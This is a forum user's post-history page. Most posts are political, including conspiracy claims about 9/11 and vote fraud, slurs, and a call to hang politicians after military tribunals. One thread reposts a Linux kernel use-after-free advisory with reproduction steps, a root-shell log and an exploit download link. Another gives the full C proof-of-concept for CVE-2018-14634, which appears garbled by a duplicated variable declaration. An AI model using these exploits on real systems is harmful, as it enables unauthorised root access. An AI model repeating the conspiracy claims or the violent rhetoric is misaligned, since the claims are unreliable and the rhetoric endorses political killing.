User Controls
Posts by -SpectraL
-
2018-10-06 at 4:45 AM UTC in Killing myself on my birthday
-
2018-10-06 at 12:09 AM UTC in New damming accusation against Kavanagh
-
2018-10-06 at 12:02 AM UTC in People Don't Like MeIt's called a blessing in disguise.
-
2018-10-05 at 11:56 PM UTC in New damming accusation against Kavanagh
Originally posted by Speedy Parker On that we can agree. There are very few on Capitol Hill that are patriots, my country and yours.
There really is no two parties. There's just one party: the corrupt establishment - the swamp. That's it. And as you say, there are a few diamonds in the rough, but that's not near enough to change the situation. Only way to actually change anything is have them all tried quickly for treason by military tribunal and sentenced to hang. Then ask the rest of the parasites whether they want to play, too. -
2018-10-05 at 11:54 PM UTC in People Don't Like MeThat's mostly a good thing and actually for your own good, because most people are just shitbirds on the take.
-
2018-10-05 at 11:52 PM UTC in New damming accusation against Kavanagh
-
2018-10-05 at 10:25 PM UTC in New damming accusation against KavanaghThe so-called "Patriot" Act wasn't written for terrorists, it was written for Americans, under the pretense of being written for terrorists. And the only way they could pull it off was setting up 9/11 so all the sheeple would fall right in line. And they did pull it off. But it's not going to stay that way.
-
2018-10-05 at 7:48 PM UTC in New damming accusation against KavanaghCory Booker himself even went on record to say the Constitution should be abolished.
-
2018-10-05 at 7:19 PM UTC in It's a PI Shell
-
2018-10-05 at 7:18 PM UTC in "Jeff Hunter" where are you?
-
2018-10-05 at 7:13 PM UTC in New Linux Kernel Root Access Exploit (Mutagen Astronomy)
-
2018-10-05 at 7:09 PM UTC in New damming accusation against Kavanagh
Originally posted by Lanny
No, I'm saying it's silly to try and smear "the left" as anti-constitutionalist when the subject is the right's appointment of a key figure in the history of unconstitutional American spying to the supreme court.
If there is anyone at all you should be calling anti-constitutional here it's Kavanaugh and the Trump administration, not the left.
That's ridiculous. It was the Dems who rigged the primary against Bernie. You call that constitutional? It was the Dems who hired Fusion GPS to work with ex-MI6 Christopher Steel to create a bogus dossier on the President elect and then fed it into the FISA court on a bogus application, using the bogus dossier as the basis to spy on Americans within Trump's campaign and hijacking the resources and departments of the US government to pull it all off. What exactly is constitutional about that? And who fed debate questions to the Democrat candidate in advance and then admitted to doing it? What's constitutional about that? I could go on all day. Who let's illegal aliens with absolutely no right to vote cast votes in one party's favor? Everybody and their dog knows it's the Libtards who shit on the Constitution at every possible turn. They've made a living for themselves out of it. -
2018-10-05 at 7:02 PM UTC in Killing myself on my birthday
-
2018-10-05 at 6:52 PM UTC in New Linux Kernel Root Access Exploit (Mutagen Astronomy)See also: Linux Kernel - VMA Use-After-Free via Buggy vmacache_flush_all() Fastpath Local Privilege Escalation
Since commit 615d6e8756c8 ("mm: per-thread vma caching", first in 3.15),
Linux has per-task VMA caches that contain up to four VMA pointers for
fast lookup. VMA caches are invalidated by bumping the 32-bit per-mm
sequence number mm->vmacache_seqnum; when the sequence number wraps,
vmacache_flush_all() scans through all running tasks and wipes the
VMA caches of all tasks that share current's mm.
In commit 6b4ebc3a9078 ("mm,vmacache: optimize overflow system-wide
flushing", first in 3.16), a bogus fastpath was added that skips the
invalidation on overflow if current->mm->mm_users==1. This means that
the following sequence of events triggers a use-after-free:
[A starts as a singlethreaded process]
A: create mappings X and Y (in separate memory areas
far away from other allocations)
A: perform repeated invalidations until
current->mm->vmacache_seqnum==0xffffffff and
current->vmacache.seqnum==0xfffffffe
A: dereference an address in mapping Y that is not
paged in (thereby populating A's VMA cache with
Y at seqnum 0xffffffff)
A: unmap mapping X (thereby bumping
current->mm->vmacache_seqnum to 0)
A: without any more find_vma() calls (which could
happen e.g. via pagefaults), create a thread B
B: perform repeated invalidations until
current->mm->vmacache_seqnum==0xfffffffe
B: unmap mapping Y (thereby bumping
current->mm->vmacache_seqnum to 0xffffffff)
A: dereference an address in the freed mapping Y
(or any address that isn't present in the
pagetables and doesn't correspond to a valid
VMA cache entry)
A's VMA cache is still at sequence number 0xffffffff from before the
overflow. The sequence number has wrapped around in the meantime, back
to 0xffffffff, and A's outdated VMA cache is considered to be valid.
I am attaching the following reproduction files:
vmacache-debugging.patch: Kernel patch that adds some extra logging for
VMA cache internals.
vma_test.c: Reproducer code
dmesg: dmesg output of running the reproducer in a VM
In a Debian 9 VM, I've tested the reproducer against a 4.19.0-rc3+
kernel with vmacache-debugging.patch applied, configured with
CONFIG_DEBUG_VM_VMACACHE=y.
Usage:
user@debian:~/vma_bug$ gcc -O2 -o vma_test vma_test.c -g && ./vma_test
Segmentation fault
Within around 40 minutes, I get the following warning in dmesg:
=============================================
[ 2376.292518] WARNING: CPU: 0 PID: 1103 at mm/vmacache.c:157 vmacache_find+0xbb/0xd0
[ 2376.296813] Modules linked in: btrfs xor zstd_compress raid6_pq
[ 2376.300095] CPU: 0 PID: 1103 Comm: vma_test Not tainted 4.19.0-rc3+ #161
[ 2376.303650] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 2376.305796] RIP: 0010:vmacache_find+0xbb/0xd0
[ 2376.306963] Code: 48 85 c0 74 11 48 39 78 40 75 1f 48 39 30 77 06 48 39 70 08 77 19 83 c2 01 83 fa 04 41 0f 44 d1 83 e9 01 75 c7 31 c0 c3 f3 c3 <0f> 0b 31 c0 c3 65 48 ff 05 98 97 9b 6a c3 90 90 90 90 90 90 90 0f
[ 2376.311881] RSP: 0000:ffffa934c1e3bec0 EFLAGS: 00010283
[ 2376.313258] RAX: ffff8ac7eaf997d0 RBX: 0000133700204000 RCX: 0000000000000004
[ 2376.315165] RDX: 0000000000000001 RSI: 0000133700204000 RDI: ffff8ac7f3820dc0
[ 2376.316998] RBP: ffff8ac7f3820dc0 R08: 0000000000000001 R09: 0000000000000000
[ 2376.318789] R10: 0000000000000000 R11: 0000000000000000 R12: ffffa934c1e3bf58
[ 2376.320590] R13: ffff8ac7f3820dc0 R14: 0000000000000055 R15: ffff8ac7e9355140
[ 2376.322481] FS: 00007f96165ca700(0000) GS:ffff8ac7f3c00000(0000) knlGS:0000000000000000
[ 2376.324620] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2376.326101] CR2: 0000133700204000 CR3: 0000000229d28001 CR4: 00000000003606f0
[ 2376.327906] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 2376.329819] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 2376.331571] Call Trace:
[ 2376.332208] find_vma+0x16/0x70
[ 2376.332991] ? vfs_read+0x10f/0x130
[ 2376.333852] __do_page_fault+0x191/0x470
[ 2376.334816] ? async_page_fault+0x8/0x30
[ 2376.335776] async_page_fault+0x1e/0x30
[ 2376.336746] RIP: 0033:0x555e2a2b4c37
[ 2376.337600] Code: 05 80 e8 9c fc ff ff 83 f8 ff 0f 84 ad 00 00 00 8b 3d 81 14 20 00 e8 48 02 00 00 48 b8 00 40 20 00 37 13 00 00 bf 37 13 37 13 <c6> 00 01 31 c0 e8 cf fc ff ff 48 83 ec 80 31 c0 5b 5d 41 5c c3 48
[ 2376.342085] RSP: 002b:00007ffd505e8d30 EFLAGS: 00010206
[ 2376.343334] RAX: 0000133700204000 RBX: 0000000100000000 RCX: 00007f9616102700
[ 2376.345133] RDX: 0000000000000008 RSI: 00007ffd505e8d18 RDI: 0000000013371337
[ 2376.346834] RBP: 00007f96165e4000 R08: 0000000000000000 R09: 0000000000000000
[ 2376.348889] R10: 0000000000000001 R11: 0000000000000246 R12: 0000000100000000
[ 2376.350570] R13: 00007ffd505e8ea0 R14: 0000000000000000 R15: 0000000000000000
[ 2376.352246] ---[ end trace 995fa641c5115cfb ]---
[ 2376.353406] vma_test[1103]: segfault at 133700204000 ip 0000555e2a2b4c37 sp 00007ffd505e8d30 error 6 in vma_test[555e2a2b4000+2000]
=============================================
The source code corresponding to the warning, which is triggered because
the VMA cache references a VMA struct that has been reallocated to
another process in the meantime:
#ifdef CONFIG_DEBUG_VM_VMACACHE
if (WARN_ON_ONCE(vma->vm_mm != mm))
break;
#endif
################################################################################
Attaching an ugly exploit for Ubuntu 18.04, kernel linux-image-4.15.0-34-generic at version 4.15.0-34.37. It takes about an hour to run before popping a root shell. Usage: First compile with ./compile.sh, then run ./puppeteer. Example run:
user@ubuntu-18-04-vm:~/vmacache$ ./puppeteer
Do Sep 20 23:55:11 CEST 2018
puppeteer: old kmsg consumed
got map from child!
got WARNING
got RSP line: 0xffff9e0bc2263c60
got RAX line: 0xffff8c7caf1d61a0
got RDI line: 0xffff8c7c214c7380
reached WARNING part 2
got R8 line: 0xffffffffa7243680
trace consumed
offset: 0x110
fake vma pushed
suid file detected, launching rootshell...
we have root privs now...
Fr Sep 21 00:48:00 CEST 2018
root@ubuntu-18-04-vm:~/vmacache#
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45497.zip -
2018-10-05 at 6:42 PM UTC in The Retarded Thread: Sploo Needs Attention
-
2018-10-05 at 6:38 PM UTC in New damming accusation against Kavanagh
-
2018-10-05 at 6:32 PM UTC in This site's top 3 users who bring nothing at all to the table.
-
2018-10-05 at 6:31 PM UTC in "Jeff Hunter" where are you?
-
2018-10-05 at 6:29 PM UTC in New Linux Kernel Root Access Exploit (Mutagen Astronomy)
/*
* poc-exploit.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <limits.h>
#include <paths.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#define MAPCOUNT_ELF_CORE_MARGIN (5)
#define DEFAULT_MAX_MAP_COUNT (USHRT_MAX - MAPCOUNT_ELF_CORE_MARGIN)
#define PAGESZ ((size_t)4096)
#define MAX_ARG_STRLEN ((size_t)128 << 10)
#define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF)
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
int
main(void)
{
if (sizeof(size_t) != sizeof(uint64_t)) die();
const size_t beta = 512;
const size_t sprand = 8192;
const size_t beta = (size_t)9 << 10;
const size_t items = (size_t)1 << 31;
const size_t offset = items * sizeof(uintptr_t);
#define LLP "LD_LIBRARY_PATH=."
static char preload_env[MAX_ARG_STRLEN];
{
char * const sp = stpcpy(preload_env, "LD_PRELOAD=");
char * cp = preload_env + sizeof(preload_env);
size_t n;
for (n = 1; n <= (size_t)(cp - sp) / sizeof(LLP); n++) {
size_t i;
for (i = n; i; i--) {
*--cp = (n == 1) ? '\0' : (i == n) ? ':' : '0';
cp -= sizeof(LLP)-1;
memcpy(cp, LLP, sizeof(LLP)-1);
}
}
memset(sp, ':', (size_t)(cp - sp));
if (memchr(preload_env, '\0', sizeof(preload_env)) !=
preload_env + sizeof(preload_env)-1) die();
}
const char * const protect_envp[] = {
preload_env,
};
const size_t protect_envc = sizeof(protect_envp) / sizeof(protect_envp[0]);
size_t _protect_envsz = 0;
{
size_t i;
for (i = 0; i < protect_envc; i++) {
_protect_envsz += strlen(protect_envp[i]) + 1;
}
}
const size_t protect_envsz = _protect_envsz;
const size_t scratch_envsz = (size_t)1 << 20;
const size_t scratch_envc = scratch_envsz / MAX_ARG_STRLEN;
if (scratch_envsz % MAX_ARG_STRLEN) die();
static char scratch_env[MAX_ARG_STRLEN];
memset(scratch_env, ' ', sizeof(scratch_env)-1);
const size_t onebyte_envsz = (size_t)256 << 10;
const size_t onebyte_envc = onebyte_envsz / 1;
const size_t padding_envsz = offset + beta;
/***/ size_t padding_env_rem = padding_envsz % MAX_ARG_STRLEN;
const size_t padding_envc = padding_envsz / MAX_ARG_STRLEN + !!padding_env_rem;
static char padding_env[MAX_ARG_STRLEN];
memset(padding_env, ' ', sizeof(padding_env)-1);
static char padding_env1[MAX_ARG_STRLEN];
if (padding_env_rem) memset(padding_env1, ' ', padding_env_rem-1);
const size_t envc = protect_envc + scratch_envc + onebyte_envc + padding_envc;
if (envc > MAX_ARG_STRINGS) die();
const size_t argc = items - (1 + 1 + envc + 1);
if (argc > MAX_ARG_STRINGS) die();
const char * const protect_argv[] = {
"./poc-suidbin",
};
const size_t protect_argc = sizeof(protect_argv) / sizeof(protect_argv[0]);
if (protect_argc >= argc) die();
size_t _protect_argsz = 0;
{
size_t i;
for (i = 0; i < protect_argc; i++) {
_protect_argsz += strlen(protect_argv[i]) + 1;
}
}
const size_t protect_argsz = _protect_argsz;
const size_t padding_argc = argc - protect_argc;
const size_t padding_argsz = (offset - beta) - (beta + sprand / 2 +
protect_argsz + protect_envsz + scratch_envsz + onebyte_envsz / 2);
const size_t padding_arg_len = padding_argsz / padding_argc;
/***/ size_t padding_arg_rem = padding_argsz % padding_argc;
if (padding_arg_len >= MAX_ARG_STRLEN) die();
if (padding_arg_len < 1) die();
static char padding_arg[MAX_ARG_STRLEN];
memset(padding_arg, ' ', padding_arg_len-1);
static char padding_arg1[MAX_ARG_STRLEN];
memset(padding_arg1, ' ', padding_arg_len);
const char ** const envp = calloc(envc + 1, sizeof(char *));
if (!envp) die();
{
size_t envi = 0;
size_t i;
for (i = 0; i < protect_envc; i++) {
envp[envi++] = protect_envp[i];
}
for (i = 0; i < scratch_envc; i++) {
envp[envi++] = scratch_env;
}
for (i = 0; i < onebyte_envc; i++) {
envp[envi++] = "";
}
for (i = 0; i < padding_envc; i++) {
if (padding_env_rem) {
envp[envi++] = padding_env1;
padding_env_rem = 0;
} else {
envp[envi++] = padding_env;
}
}
if (envi != envc) die();
if (envp[envc] != NULL) die();
if (padding_env_rem) die();
}
const size_t filemap_size = ((padding_argc - padding_arg_rem) * sizeof(char *) / (DEFAULT_MAX_MAP_COUNT / 2) + PAGESZ-1) & ~(PAGESZ-1);
const size_t filemap_nptr = filemap_size / sizeof(char *);
char filemap_name[] = _PATH_TMP "argv.XXXXXX";
const int filemap_fd = mkstemp(filemap_name);
if (filemap_fd <= -1) die();
if (unlink(filemap_name)) die();
{
size_t i;
for (i = 0; i < filemap_nptr; i++) {
const char * const ptr = padding_arg;
if (write(filemap_fd, &ptr, sizeof(ptr)) != (ssize_t)sizeof(ptr)) die();
}
}
{
struct stat st;
if (fstat(filemap_fd, &st)) die();
if ((size_t)st.st_size != filemap_size) die();
}
const char ** const argv = mmap(NULL, (argc + 1) * sizeof(char *), PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (argv == MAP_FAILED) die();
if (protect_argc > PAGESZ / sizeof(char *)) die();
if (mmap(argv, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argv) die();
{
size_t argi = 0;
{
size_t i;
for (i = 0; i < protect_argc; i++) {
argv[argi++] = protect_argv[i];
}
}
{
size_t n = padding_argc;
while (n) {
void * const argp = &argv[argi];
if (((uintptr_t)argp & (PAGESZ-1)) == 0) {
if (padding_arg_rem || n < filemap_nptr) {
if (mmap(argp, PAGESZ, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != argp) die();
} else {
if (mmap(argp, filemap_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, filemap_fd, 0) != argp) die();
argi += filemap_nptr;
n -= filemap_nptr;
continue;
}
}
if (padding_arg_rem) {
argv[argi++] = padding_arg1;
padding_arg_rem--;
} else {
argv[argi++] = padding_arg;
}
n--;
}
}
if (argi != argc) die();
if (argv[argc] != NULL) die();
if (padding_arg_rem) die();
}
{
static const struct rlimit stack_limit = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
}
execve(argv[0], (char * const *)argv, (char * const *)envp);
die();
}
/*
EDB Note: EOF poc-exploit.c
*/
/*
EDB Note: poc-suidbin.c
*/
/*
* poc-suidbin.c for CVE-2018-14634
* Copyright (C) 2018 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
int
main(const int argc, const char * const * const argv, const char * const * const envp)
{
printf("argc %d\n", argc);
char stack = '\0';
printf("stack %p < %p < %p < %p < %p\n", &stack, argv, envp, *argv, *envp);
#define LLP "LD_LIBRARY_PATH"
const char * const llp = getenv(LLP);
printf("getenv %p %s\n", llp, llp);
const char * const * env;
for (env = envp; *env; env++) {
if (!strncmp(*env, LLP, sizeof(LLP)-1)) {
printf("%p %s\n", *env, *env);
}
}
exit(EXIT_SUCCESS);
}
/*
EDB Note: EOF poc-suidbin.c
*/ -
2018-10-05 at 6:22 PM UTC in "Jeff Hunter" where are you?
